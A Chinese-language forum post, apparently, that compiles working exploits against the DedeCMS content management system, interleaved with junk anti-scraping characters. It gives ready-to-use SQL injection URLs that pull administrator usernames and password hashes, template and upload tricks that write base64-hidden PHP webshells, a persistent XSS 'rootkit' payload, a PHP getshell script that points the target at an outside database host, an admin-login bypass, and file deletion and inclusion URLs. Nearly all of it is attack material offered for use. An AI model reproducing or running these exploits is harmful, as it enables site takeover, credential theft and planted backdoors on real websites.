dedecms漏洞总结

admin

" b9 _: G$ m: C5 lDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
! A) d7 v+ d( U& W, Z& J( f% F
9 C4 u2 d$ A2 R# V- {6 V' i) ^4 j8 ]

5 B+ G# v4 b" U- v9 d) S# V/ \7 s+ G
: M% E3 i# u# }* j) t

) T7 o8 l( j4 N
  h. z. m& s8 w" E
DedeCms v5.6 嵌入恶意代码执行漏洞
! U% d8 a0 @6 Q7 l! O8 f4 r, R注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
) z, R  o0 Q# S6 t' f发表后查看或修改即可执行
2 L- U& v& o& y: Z7 J* U$ a' ^3 ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
6 s$ ?  z/ C9 V# i: Q/ c
) I, Q7 z2 B2 u& ?( o2 H9 N6 A

2 N0 ]: y; a  K4 z3 v
2 L! u) _' _4 f8 }$ j
4 E" p, f3 n% k0 j8 \9 i


- r/ o5 g/ D3 u8 ]* YDede 5.6 GBK SQL注入漏洞
! H4 h1 v8 k$ S3 vhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
3 z& [6 [) d* c3 f  j) I* V3 Ghttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

4 V  h/ S7 s; G

" {4 V- ^4 A, P  T5 I0 z& W


/ M+ q$ {  O1 d

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
" N. b2 ]( h% j6 i1 C' `http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


( B. e; H2 _/ U8 X9 h



DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
6 I' ]$ k  W! {4 m1 ohttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
6 K' D- h) C$ z# y6 lhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
9 W0 l$ v4 c7 U! M
* L( j0 d2 Y8 `6 B6 I
http://v57.demo.dedecms.com/dede/login.php


; L8 o- d9 @; F1 x+ \color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
! s6 ?& b5 Q* D2 _' C& D2 a<?php
error_reporting(E_ERROR);
( y' v. I8 x, U) @0 @( }set_time_limit(0);
: g9 {% h" W; u# \; G" x9 rprint_r('
% R) w: N) I% I+ m$ GDEDEcms Variable Coverage
6 n3 U8 o/ g$ I4 P- AExploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
0 v9 e8 E; n$ jif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
6 F, z6 Q$ L. D2 {0 [9 xUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
5 h, Q3 j, u; L$ {/ T, L7 d+---------------------------------------------------------------------------+
');
exit;
4 m" U+ T" b4 ?5 H0 t3 ?; U. S7 f}
$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
3 H. Z0 O- {' [0 p% j$ j* [if (strpos($exp,"OK")>12){
2 D; ^6 O( }8 Q- E# d+ Zecho "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
! _) E3 z2 g) o& `! {& ]$ A

if($aid==2)echo "
0 N# N. \& T+ o5 AShell:".$url."/$path/fuck.php\n" ;
; ?& ]6 O) p5 k2 C
0 j* s3 s! e* m2 P7 D' @
if($aid==3)echo "
' q. |6 a& O7 Y" o8 m, ]2 Z# j+ i4 qShell:".$url."/$path/plus/fuck.php\n";


}else{
' i6 k+ U% {4 @# xecho "
; [' p6 ?5 a* K4 W4 w* _, ?Exploit Failed \n";
# P" f% f- p* X: e, K" y! f}
function Getshell($url,$aid,$path){
$ U/ C; o4 v! m3 P8 R$id=$aid;
$host=$url;
$port="80";
6 ?& h1 |# R0 [- m$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
4 U* t( q/ e3 |) W- _$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 |. D* q& ], {  f; m1 S$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
2 M6 I% B+ f. ^8 z! Q//$data .= "Accept-Encoding: gzip,deflate\r\n";
3 {$ y$ @3 E* M: [* ?5 I7 Q( B$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
2 n- C& {2 h8 o$ G3 Q9 Y' c$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
6 m4 }* }3 E! R3 D6 J}
7 @& m, M/ e1 f- j5 d' M: ]# Qfwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
. p5 d- J$ f$ \+ e3 M}
: R  D; h. f2 N3 V/ ~/ R. X8 }}


7 i% ^, K/ C6 w- e2 ]?>


4 B- E" [0 ]4 z: t( l/ Y& a5 Y

* A& s$ U' j% V9 }6 K6 X  f
( L2 w; A, c  a3 y  k
  {; E- F! _$ F7 [
" z: z' r' c% g


DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
; ?5 u# X  H7 S4 z2 @% Dhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
+ b; \& U6 P! q8 _

. M; ~7 V' g3 E( i$ U把上面validate=dcug改为当前的验证码，即可直接进入网站后台
, O4 O# B$ w  {

此漏洞的前提是必须得到后台路径才能实现
, d1 j* n5 g8 Z2 w" D3 P, x5 V

: k; `6 R; L  g2 S! E
( a3 A5 Q5 [3 A  Z
/ k& F4 `! b2 x" K. T
7 z( Q, f3 R1 `  X2 ^



4 Y4 e( c" d2 t- ~' o8 n
Dedecms织梦 标签远程文件写入漏洞
! |) F) ?; i7 f5 {# b前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


& J' z; K5 B! G* }5 E* _再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
# e1 D5 X$ b9 x0 w: j# D<form action="" method="post" name="QuickSearch" id="QuickSearch">
, x4 t4 f  Y3 h8 l6 j<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
& m1 m& M; s" t6 y  a' G/ w! C5 i<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
" n0 ^* ?3 R5 O# R, ~<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
9 W" B  g- ]2 r; i. q. b<script>
4 u  s! \% x0 r" [5 j3 }* ]3 v. cfunction addaction()
: X3 f+ k! k8 I7 L( D* H{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>


$ [! I- v; r+ z



! d4 Y: R2 s7 f
# c" k, T9 ]+ C& R/ `7 x

+ Q& Y) B* P; J! ~6 o
* }' A1 z' `0 e3 F: P2 `  D7 ]4 [DedeCms v5.6 嵌入恶意代码执行漏洞
! x# [3 u6 Q  Z3 o8 t, h" o. |1 C* Q注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
, r0 k; u$ v% t, F2 o; ^注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
& N! O5 |( X1 x4 C0 N2 q8 R  _0 z@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
: Y$ F1 Q) y. T  _9 `@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
7 z7 r- p# w, r& v: Z<input type="hidden" name="aid" value="2" />
; P- q; y, }/ Z: G# a2 @" T<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
& S  b- r$ S2 F% d: u
- P" |/ l0 j: k8 S# R; r
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
9 L; J$ O7 [+ _) H/ X, j

<div class="postForm">
; ~8 {. C/ }" h7 S<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
2 E( u- [# `( K

3 r- o0 Y4 @! c8 d* q- A  e<label>标签TAG：</label>
! e/ u- [3 P8 c0 H<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

; }- a# K  S: C7 B' v7 U
" \6 ^9 n+ K3 G. Z6 W- k/ p5 z0 w2 H<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
) }8 Q$ ^7 K/ C8 r4 C# I5 s, ~8 h</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
) d: z0 _+ O9 V2 D

<label>我的分类：</label>
<select name='mtypesid' size='1'>
+ K; N" `7 F: S: J6 d: S  X<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
% o7 j2 g2 j; R2 C$ B1 m' g</select>
) [" t- }6 f+ j, u7 F

6 E6 ~4 x0 x$ _; x$ G- ]<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
7 ^9 C# `8 Q% E3 u(内容的简要说明)


<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

* ~' f3 j: ~+ _& U$ W
$ a) U% W/ u+ |1 ]0 _<input type='text' name='templet'
& S' V' G% W$ I0 Hvalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>

  F6 r9 S- t, B9 O4 h
7 S" h* s7 w3 q# H/ b: h<!-- 表单操作区域 -->
2 R5 j' Y3 j1 B. i7 Y3 ?<h3 class="meTitle">详细内容</h3>

% |2 b; e( j, _/ ^1 j7 O, S+ J
2 Y& `0 C$ D; h% N; o<div class="contentShow postForm">
: i: Q" K. B: E& u3 {' m1 X0 T<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
$ J6 A" v9 N+ r2 S' R3 m<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
2 R& g4 a* V% H- q7 ~+ o
7 ^6 E8 Z8 E5 `/ h% c: Q8 |8 H) x
$ X! C6 B3 y6 F% q<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
! M3 F. l' c; M: |& {</div>
1 `6 ?* a4 f2 W1 A. q& d; s
2 z2 V5 F& u, d- W
1 _. s0 X2 }6 b1 u! d% @+ h$ ?</div>
) `" \* `7 ^6 P3 P0 T! z1 r

5 q7 k3 [9 C, m4 g</form>

* D- v" }3 @* Z7 p# V1 U  Q
3 X2 z4 D% f7 _5 V提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
* d, f" a5 B0 N, l. w假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
5 V  x/ r7 B7 c- E% I7 x  B# S

; Y3 M# k# k) Z7 S* F% H
, x" w) F. [4 y; |1 r& ?7 W
% B& k# I3 {) ~- d
% c# w1 s* a# R" Y; }, J( A6 g






DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
5 l6 L3 J$ a& |Gif89a{dede:field name='toby57' runphp='yes'}
- g7 D3 g! E) j' i  }% H& X0 Ephpinfo();
; L/ P: U5 S2 Z7 s4 T; m, w- k9 J{/dede:field}
保存为1.gif
" R- @. O& P; j<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
% b& S3 `* \/ v$ a" _! d<input type="hidden" name="mediatype" value="1" />
0 `$ v3 t8 `( a0 T, h8 L- s<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
$ f) N, i# u% s+ ?<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
, l  E2 J9 w: [<input name="addonfile" type="file" id="addonfile"/>
4 P- @" `; ]4 W! C" h9 k7 d& F<button class="button2" type="submit" >更改</button>
</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
% m. ~) u& K& ?4 T发表文章，然后构造修改表单如下：
! Q# @  C% g! Y
. d3 I5 ]0 t# f
, B9 c5 p8 {* V8 P% g<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
( F+ i5 R7 l* h3 k4 Y% d<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
8 q0 I: M5 V1 F: q<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
2 c7 p3 O+ |: |) K% V5 S' B, x0 N: o<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
; ]- q* |4 V/ ?<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
- x% P3 s& E( X" |: [( ~# M<select name='mtypesid' size='1'>
: l0 F& s" s) l<option value='0' selected>请选择分类...</option>
  v) D, c# ]0 [5 c& t  N<option value='1' class='option3' selected>aa</option></select>
# Q& @7 l: F: Q. I# Z6 ~- R<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
; N3 t3 _" m; g4 k" E  P<input type='hidden' name='dede_addonfields' value="templet">
; d9 z9 t; F5 s3 I8 C- \5 w<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
+ V* [7 E; P$ {$ b+ F<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
- b( |4 p. _  F, Y<button class="button2" type="submit">提交</button>
</form>
& w& K$ F6 J; Z9 ]

1 A+ a$ ~/ a; d' Z* n


8 ?3 t: U# ], ~& U" M4 K

( A& ~: X, V" ]8 s7 X: C$ X


/ B! \! u( D, ]/ t

9 T% E- X, B( O+ Z织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif


% o% _* Z) @" W4 q% h6 m+ ^
% A+ M+ Z% V" x



: z! b2 w! a+ f# O
! A; W4 w5 R: p: l
, g2 Y1 T. x( @$ L2 r6 g
; r" q5 l4 D4 W( W/ H& E! C织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
4 k2 Q: F7 u. T$ y0 t( ehttp://www.test.com/plus/carbuya ... urn&code=../../
% x4 a' N6 `6 k




" D' C' u" s( G! Q$ H5 O& R. N
  W5 `' R2 ]' I# J
- o- T# c4 _7 t* I. ^/ f; d+ O
2 Z  f- J/ {$ Q
  f( Y6 w/ k. b6 K. M
8 |6 D7 ]9 X! aDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
* A' |) x9 P, n
9 J: x6 C* r! @5 d* t3 u
6 p% q/ c5 p  y; M- H
" l( V7 d+ B; y0 k& l/ g6 v: J
1 [- m  [  T1 F+ a1 D) P8 D

0 z0 \) g$ ]- y6 l1 K3 m& R0 z' u& ^

& }% y7 y0 a8 [5 b" X

( |9 c3 h) @- c( E: K+ I: s织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
* B9 J9 ?* \. t: S4 n3 E! N3 {( B0 Ihttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
. p) W$ ^, \! H9 D  J) m. {
* G% ^! G. W. L: g

" n" N5 f6 X9 K7 ]

) i) S1 u# p& n3 Q7 _5 Q
* d( ^, E, H2 p( P



1 Z3 @6 a" K0 U* k' T织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
! }4 M- X& p; m; o9 u<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
1 ^; \% t' n( E" N# u6 y; Y" M3 o---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
5 U2 C7 K; U( l5 B' O<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
2 u' W5 Q' ?0 x$ F2 G9 h8 x<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
7 [( l, ?3 Y* q2 o<input type='hidden' name='cfg_mediatype' value='php' />
, p+ k% f4 f7 |; v1 P<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
: S8 z' M* C. \8 O- v6 _' M<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
2 @8 Q; o6 R. y$ @( a<input type='submit' name='sb1' value='确定' />
</form>
: [" N# {7 x2 [# p! j  ]3 C; ^<br />It's just a exp for the bug of Dedecms V55...<br />
1 C) q9 ^+ W( M$ W; GNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>



9 K, M1 [1 `$ ~: `




+ p" X0 b- i/ g: @

织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
" H( e4 Z# s* u* g% z) Z1. 访问网址：
* J" C6 J, \$ H% C5 bhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
7 C9 U" B. b- |8 k' J可看见错误信息
% q, E! k: D9 s9 X7 @5 ~. W) i

2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
; R3 I; g, E  [+ dint(3) Error: Illegal double '1024e1024' value found during parsing
2 M2 _: g# ~3 U( M( t$ cError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
+ R- H; d0 U! f2 C

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


4 \- Z/ u5 o! M. J4 S" P# m<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
* h6 |0 d$ j6 f3 Q, T* q

& H" ]! U' f- {/ r% Y$ h按确定后的看到第2步骤的信息表示文件木马上传成功.
) s0 ^% P6 }( a' X# n



, W5 X; w1 |" y) b0 i
# l5 k5 ~. D8 a4 f/ z
  Q7 @( a* v. V- b
& b( x  D, g1 o3 d: \! S& J+ J

' J8 d: [- B) [* z( L3 D

( O2 z. b, B; b
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
. _: I5 G  @1 ~: j% u" ^7 |+ O+ Ghttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*